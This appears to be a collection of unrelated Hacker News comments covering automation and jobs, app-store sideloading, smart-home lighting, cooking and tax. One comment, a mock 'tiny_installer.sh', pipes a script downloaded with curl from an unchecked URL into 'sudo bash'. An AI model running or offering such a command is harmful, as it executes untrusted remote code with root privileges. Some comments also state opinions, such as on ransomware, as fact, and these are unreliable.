skysight-inc/HackerNews huggingface dataset:
I'm aware.

They are really saying, though, that without barriers to entry and in a competitive market, players that don't innovate don't survive.

>First movers should not get a license to continue to reap a profit in a competitive market absent real innovation, which would come in the form of reputation (trademark) or technology (patent).

The problem with that is that this is not a competitive market, so the player that wins is not innovating, they just have market power because of their size.
Except it doesn't happen with Android.
> By replacing labour with robots and not compensating them, you're sending a clear message that you don't respect people and the value that they bring.

I see many problems with this statement:

- Is a new robot-only company fairer than firing humans at an old company?

- Should we as a society forego the benefits of automation, because it makes some people unemployed?

- Should there be a robot tax? What is a robot? Is my calculator a robot that keeps an arithmeticist out of a job?

- Should an enterprise created for profit consider other values than profit?

In my view, we should automate as much as we can, because we spend less valuable human time on what is achievable by machine. However, as more and more people fall behind as technology progresses, it might pose a problem, so I think we should institute basic income.

I wouldn't bother with regulating the minutia, just tax Laffer-optimally and give out benefits so as not to create perverse incentives.

But I am keen to know someone's thoughts to the contrary.
Don't use their products then? Nobody is forcing you to.
It's more like they flood the results so you literally can't find the quality product unless you know the brand name to search for. I can't be an expert in every vertical, so either I go to some sort of trusted review platform like Wirecutter, or I give up and buy whatever I can find on Amazon return decent reviews and hope for the best.
> The huge downside is that VAT is taking money from businesses

Businesses don't pay VAT (yes they pay it, but its deducted so they get the money back. The only thing VAT can be accused of regarding businesses is that it's essentially a free loan to the govt)
Surely this is a typo... after 2-3 minutes at 375F, you're serving lamb sushi
>The luddite claim that the industrial revolution made their life worse was absolutely not wrong

So what? How is this even relevant? ATM machines also made the lives of bank tellers worse cause they lost their jobs. As well as the countless automations that happened. "Oh, better stop all technological progress to ensure I have a job", it doesn't work like this, it never did, and anyone who tried this failed miserably because it is selfish and it doesn't work. What matters is that society as a whole was better after every automation. Honestly this whole whining about automation NOW is mainly white collar workers, such as journalists and artists, throwing a hissy fit and asking for special protection because they feel like their job is """"really special"""" unlike other peoples job, it's not like other people have bills to pay and stuff.
I can't think of any human society in all of history where I would have more control over my life than I do now.
Yep same. Wall switches work fine. Manual thermostats work fine. Fuck spending all that money on such trivia and time keeping it programmed and updated and dealing with stuff like the subject of TFA.

I walk into a room, I turn the lights on. I leave the room, I turn the lights off. I have no need to operate lights in rooms that I'm not in.
One thing that changed this for me (I agree the saying is a bit trite) was a comment by Joscha Bach in some podcast where he mentions realizing that he had a totally wrong conception of conversation when he was a kid. To paraphrase his idea, he had previously seen discussion as an opportunity to share facts and engage in a mutual exploration of the truth. But in reality, most conversation is negotiating social status.

So the context is the important thing. You probably want to be "right" not "happy" in some circumstances. But in the case of most social activities, attempting to get to "truth" is usually playing the wrong game. You may think you are having a discussion on, say, the causes of the collapse of the Roman Empire. And you may really believe there is a "right" answer and that you have it. But if you are at most parties and socializing with most people, no one is trying to get to the root cause of historical facts.

So it is really an optimization problem. You just have to ask yourself: in this moment, in this context, with these people - are we optimizing for "truth"? Or should I be optimizing for enjoyment/amusement/happiness? This is sometimes referred to as "being on the same wavelength". If you are optimizing for "truth" and everyone else is optimizing for "happiness", you might find yourself optimized out of the equation.
1. pg is wrong. Text is perfectly legible to me even at 200 characters per line. Different people are different.

2. Since different people are different, it makes no sense to handicap everyone just because some people have a hard time reading text that is wider than a narrow column. Make the text fill most of the window, and that way people can have the window sized to whatever their comfort level is.

This trend of super narrow columns of text is making the web worse. It needs to die.
We manually comb through the reject pile looking for applications showing signs of AI so we can reject them twice.
> Lamb leg is extremely cheap at the moment in Australia - $10/KG

In Fiji only lamb neck is that cheap.
https://puri.sm/products/liberty-phone/
And "good and cheap" isn't an option except on very rare occasions.

Especially at the mechanic shop, but honestly anywhere.
Amazon used to encourage you to sideload their app store on android. You got a free copy of Angry Birds 2 if you did, and I think at one point you may have needed to do it if you wanted to install prime video at all.

It still ended up going away and they gave up. So allowing sideloading is hardly the threat you think it is.
people act weird around any kind of script, more-so than executables, i've never really understood it.

I periodically get told that a published browser userscript of mine is malicious or suspicious in emails simply because of the cautions and wording around the userscript installers themselves (it's just a css tweak, a theme), meanwhile the executables I have in the wild have generated zero similar feedback.

my theory is that since the script is more easily read that it attracts people to read it without any theory or knowledge of what they're even looking at .
The mechanics of oral health are really interesting in regards to foods and chewing them. It seems like processed foods are likely a massive contributor to declining oral health. The more you need to chew your food, the better, from what I can tell.

Our foods used to be way harder to consume. Not only would that lead to people having healthier teeth and gums (just like your pet dog!), but it likely helped people maintain healthier body weights as well.
I like having an app for my lights. Getting a little dark during a video call? Just turn the lights on without missing a beat. Better than the awkward "I'll be riiight back" that wastes 10 people's time.

(As for automatically turning on lights, that is also good. I have two receptacles outdoors that aren't on a switched circuit. Thanks to the magic of smart lights, they are now off during the day.)
My two favorite automations are dead simple, but would be tricky to solve any other way. I have them set up with Home Assistant running on my local network, so there's no data going to anyone else, and no dependency on a cloud service.

The first is, my mailbox is across the street, and I'd like to know when the mail comes. So I have a Z-wave door sensor in the mailbox to send me a notification to my phone when the mailbox is opened.

The other is to nag us to move laundry to the dryer. I have a Z-wave power meter that my washing machine plugs in to, and another Z-wave door sensor on the door. When the power meter detects the washing machine stop using power, it waits a few minutes and sends a notification to unload every few minutes, until the door is opened.
Counterpoint to fears of losing the drudgery we're entitled to: once the value of labor has evaporated, and we still have the masses controlling the ballot box, we may finally achieve Fully Automated Luxury Communism[1].

[1] https://en.wikipedia.org/wiki/Fully_Automated_Luxury_Communi...
> They provide and run the marketplace that distributes your app anywhere in the world

It's nice that they provide that service for those developers that want it. It's not nice that I don't have a choice to distribute my own app however I see fit.

See, I want to build an app, and people want to install it, but Apple is standing between us, dictating how we must and must not interact.

> As an Apple customer I value these things pretty highly, more than I value any one app.

Then you're free to not enable sideloading when it eventually inevitably materializes, and miss out on apps that aren't available on the app store. This decision is still yours to make. We've had this on Android and macOS since forever.
TLDR:

There are issues with the way/how quickly we diagnose shaken baby syndrome without exploring other potential diagnoses, and with how severely/quickly we take kids away from their parents once we "think" we have a shaken baby
> Lamb is extremely forgiving

I'd argue it's more a matter of degrees. Chicken is more forgiving than beef, beef more than lamb, etc. Lamb is far from "extremely" forgiving - it's just moreso than mutton.

> Mutton is not forgiving, needs to be treated like its own unique thing, and braising it should be your first instinct. If that's what you meant and it was just a typo, I totally agree with you.

That's all true of lamb too, just not to anywhere near the same extent as mutton.
Same with not allowing fine-grain control of what apps are allowed to use your WiFi/connect to the internet. I don't give a shit that an app feels entitled to it, its my internet bill and its already implemented perfectly for your cellular data stuff. There's no reason or excuse its not a privacy setting that you can tightly-control and revoke.
Sounds like you're suggesting "meaningful pushback" as well then.
Annoyingly, the alarm app I use (Sleep Cycle) only supports Hue for some of the advanced features (sunrise lights). Despite supporting HomeKit for some stuff, the ecosystem lock-in persists.
Me too – I actually only found out it was still around (and not just around, but even supporting v4!) when I looked at fuse-t as an alternative to macFUSE.
When you consider the fact that Hue devices are extremely overpriced compared to everything else in the market, it's even more confusing why they would feel the need to monetize user data.
Everything already feels so tenuous for early career professionals at the moment, like you're just barely hanging on by your fingernails. Even if people don't say it, the amount of resentment is fierce. People (white people) who are already established and in charge are so eager to do this as long as it doesn't require any sacrifice from them.
It usually transcribes correctly, but if you pause at all, it'll end the dictation. It requires an unnatural speaking style, without many pauses. I'm really excited for the new conversation mode, that doesn't rely on the phones dictation [1].

[1] https://openai.com/blog/chatgpt-can-now-see-hear-and-speak
Unfortunately, that doesn't work. If Reddit is any indication, the moral of the story is they can get away with it because there's a million idiots all ready to take your place.
Given that it’s already present in App Store apps as you say would show that the App Store itself, and perhaps the current app review process, is insufficient!
tiny_installer.sh

#! /bin/bash
curl www.url-you-didnt-check.dev/the-real-installer.sh | sudo bash -
Work and value are consitantly redefined to exclude automatable parts. Peanut butter could become free but sandwiches won't be. Or if sandwiches becone free the recipe remains nonfree.

Ultimately the fact that you an individual intended to intend an intention continues to hold a $1 value represented in metal coins until the last of us joins the rest in pickle jars.
Don't you think if we turned USPS into this it would be a another billions of dollars a year waste for taxpayers? Do we really need to be subsidizing drop shippers?

> Amazon is not marshalling new capital to innovate or improve its digital marketplace. Rather, Amazon simply owns digital real estate and extracts rent, like some kind of futuristic dystopian corpo-baron.

What on earth are you on about? They own a url.
> I’m your user and I want to get my apps from the App Store

Then you're not my user. And I'm not talking about anything involving money anyway.

> When I try to cancel my membership for something else like a magazine or the gym I have to go over 10 steps…

It's the government's job to enforce consumer rights, not Apple's. I'm sorry that consumer protection in the US is so terrible. Where I'm from, "credit card on file" is just not a thing and most of everything is prepaid. If a service really insists on charging you against your will, you can block your card and get a new one but I've yet to hear about this actually happening to someone.
Consider something like Firefox' Reader mode, and impose your own CSS layout.

Here's my current setup (multiple narrow columns—the OP fits entirely in one screen, looks like a newspaper).

https://news.ycombinator.com/item?id=37595128
Capitalism clearly does not work. It's destroying the planet, making people stupid, numb and distracted and it is very inefficient at allocating resources for anything that doesn't generate profit.

That being said, I know no better alternative, albeit I think high automation may make some solutions feasible.
Oh thanks for that, it looks very handy! I use ZWave and Home Assistant's support is functional but flakey since they moved to zwave-js. Plus I have better things to do that maintain my automation server.
I blame the novel Silence of the Lambs. It has some weird aside where it mentions that soap never touches her cast iron pan. So the pretension has existed long before Alton Brown showed up.
For online casino, I'm not sure a random Caribbean island has good gambling laws or not.
Thanks, you're correct. It was the SONOFF Zigbee 3.0 dongle, which after a few minutes of Googling sounded like a well-supported choice for HA.
I use soap every wash on well-seasoned cast iron too, no problem at all. You need to make sure to wash all the soap off, and dry it well -- or at least I believe it's important to do that, I guess since I always do it, I could be making assumptions too, maybe it's just fine if you don't?!

But yeah, the idea that you have to leave the cooking grease and fat on cast iron and aren't allowed to use soap to cut the grease and get it off.... is an odd one.
But they do, right? At the very least they turn a blind eye to the countless counterfeiters.
Grow lights are by actual power draw & generally also come with efficiency specs.
And Zoom can pretend to be an AirPlay destination so you can share your phone screen on a zoom call via your desktop. M
I just put a dimmer in the wall if I need to dim lights, it’s really not that hard and works on electrical principles that won’t change when some manufacturer decides to trash the whole ecosystem. I’ve never found the need to change color temperature of lights beyond just changing the bulb.
Labor and Capital

You don't have to read between the lines, you can simply read the lines.
I think if you stick with Homekit certified accessories you can probably have a multi-vendor setup that's OK. Homekit can be flaky at times, though, and I would definitely recommend Home Assistant instead if you are a hacker.
That’s funny! As a single guy who’s always bitching at myself for my failing home automation, I understand your family’s pain of just wanting to do something simple like turn on a light but they can’t because dad wanted the “fAnCy LiGhTs”! lmao
"What can you do about it? Before you say "Home Assistant", let me stop you right there."

No let me stop you right there. All the good Hue stuff works with Zigbee so you can (and should) totally just run your own hub and bypass all of this; yes with home assistant!

That's really the best solution. You can just control the lights directly how you see fit without even talking to Phillips.
It might be easier to justify than that, though - the EU has shown an increasing willingness to dictate; Apple may project that out to causing more than $90B/yr in harm or slowed growth in the global business.
Have you considered using Native? The reason I mention this is that Native mobile development has come a long way with recent additions like Swift+SwiftUI for iOS and Kotlin+Jetpack Compose for Android.

Some things to consider.

1. You will have to deal with the iOS and Android respective build systems and updates. Apple likes to force updates on developers (new to update Xcode + MacOS to leverage newer SDKs). Adding React Native or Dart/Flutter adds one more build system to learn along with another set of dependencies (node.js, etc) to keep up to date.

2. Both SwiftUI and Jetpack Compose are defined using Declarative UI, which you will find similar to what you experienced in React+Typescript. A lot of the paradigms translate well and I believe Swift and Kotlin are somewhat similar.

Overall, if I had to choose between React Native vs Flutter, I would choose React Native. It is a proven solution deployed by lots of production apps. The documentation is extensive and examples are readily online along with 3P libraries. Facebook is committed to React and its development, React has a large developer community, and you will benefit from using Native UI widgets and re-using your Typescript background.
If only there was a person, maybe even an organisation, to preach [1] to people that proprietary software will respect their interests and freedoms temporarily at best...

Maybe they could even come up with a "Respects Your Freedom" certification program for hardware that won't screw you over.

This would achieve "freedom 4: The freedom to turn on the light".

[1] (so that they don't have to arrive there by deduction and observation)

--

Today, even my parents know that "you need an app to use this" is equivalent of "beware, you'll soon be screwed by this".
Amazon also has excellent code building and deployment infrastructure that could be it's own business.
> Their latest round of stupidity pops up a new EULA and forces you to take it or, again, you can't access your stuff.

Maybe it's good news? To me it sounds as illegal as a car manufacturer requiring you to use Shell vpower in order for you to not void the warranty, and doing so after you bought the car.

Maybe the EU could then deal with this and ask the important question: Are they even allowed to link the functionality of IoT devices to an online account?

My reason for buying all Phillips was that their system was relatively open, that the gateway could be accessed and controlled via HTTP and put behind a firewall without access to and from the internet. And the ability to use 3rd party apps.

I've moved over to using Zigbee2MQTT together with a Zigbee USB 3.0 Dongle and all controlled from a custom Python based server on a Raspberry Pi, which made me lose all the access via the apps (I'm not into Home Assistant), but it's now all automated and controllable via dimmers and other events so that in my case the Phillips gateway has become obsolete.

But it was a great entry into the ecosystem, just because it was simply usable via HTTP, which allowed the best of both worlds: the apps and the ability to tinker with it all. The only thing which was missing was the real-time access to events.

Sad to see that they are turning their back on us, but let's hope that the EU notices and creates some new laws, even if it's in 10 years.
Completely agree - there's still a ton of interesting stuff we can explore with personal assistants if we're careful about it.

My concern is that prompt injection is the kind of vulnerability which you default to being vulnerable to if you don't understand it - so it's going to be really easy (and common) for people to build the unsafe assistants instead.
We do though…?
I think he may be referring to installing Nix itself, which does require root even if the intention isn't to install anything system-wide. I did once think about modifying the nix installer to let me set an arbitrary nix store because I wanted nix packages in a docker container I was debugging, but never really got around to it. Let me know if you know of somebody else who tried this.
except every single manufacture is going down this road pretty much, they want to monetize all that data because more money equals more better, privacy be damned.
companies have backups, paying hackers is ultimately just for avoiding leaks of data. Ransomware only works against individuals
Every study is done on a different population and with a slightly different protocol. The only thing a placebo gives it is being able to compare the treatment to the natural course of the disease.

You compare between different placebo groups in the same study, but comparing between different placebo groups in different studies is cargo cult science.
> Apple mandating WebKit is the only thing holding v8 back from a total monopoly

No, V8 has almost total monopoly because countries are ignoring anti-competitive practices. The EU is doing something about Apple in this case, and it should look at Google too.
I bet the number of peeps actually using amazon for photo storage is negligible ;)
What are you using to configure or manage Insteon devices without the hub? did you grab one of their modems or plms?
you /s, but the parent comment makes me wonder where in the hell is lab grown meat now.
The fact that you have a whole other process, was my line of thinking. If the scheduling doesn't play nice then latency will suffer. I don't really know in practice though.
And:

> [O]ur nanny was eventually cleared of all charges, but it took four years for the court to recognize my son’s medical condition (a rare occurrence in France, as I later discovered) during which we were forbidden to speak to her and she was forbidden to approach children, thus losing her means of livelihood.
Why is this not upvoted more? Very good question.
This is pretty crazy cool
I bought a Samsung Smart Things hub and many hundreds of dollars worth of $90 Lutron ZWave switches and dimmers about 5 years ago. Within 6 months, Samsung discontinued support for my hub and remotely bricked it for me.

At the time, other main brand hubs didn't want to do ZWave.

I stopped following the dumpster fire after that and now I just turn my lights on and off like a plebe with my fingers.
I've used an older version of their hub and it was great.
China is flooding Taiwan with disinformation
I actually don’t have a problem so much with this solution. It ensures that apps are still adhering to the same standards on privacy and security and that’s what I care about.

One thing that is missing is the requirement for each app to use in app purchases and how easy it is to cancel subscriptions. If you give a suggestion on this one (give that the above I’m very okay with) in the spirit of the above one - I’d most likely switch camps
> One factor that police believe is a driver of organized retail crime more recently is the fact that under new criminal justice reform laws and local district attorney’s policies to reduce mass incarceration, grand theft — the law that covers shoplifting — is a crime that judges can no longer jail a person or even require bail, no matter how many times the same individual is caught.

I don’t understand the proliferation of these ridiculous policies. San Francisco is a poster child for what happens when crime is made legal. Yet more municipalities follow in its footsteps.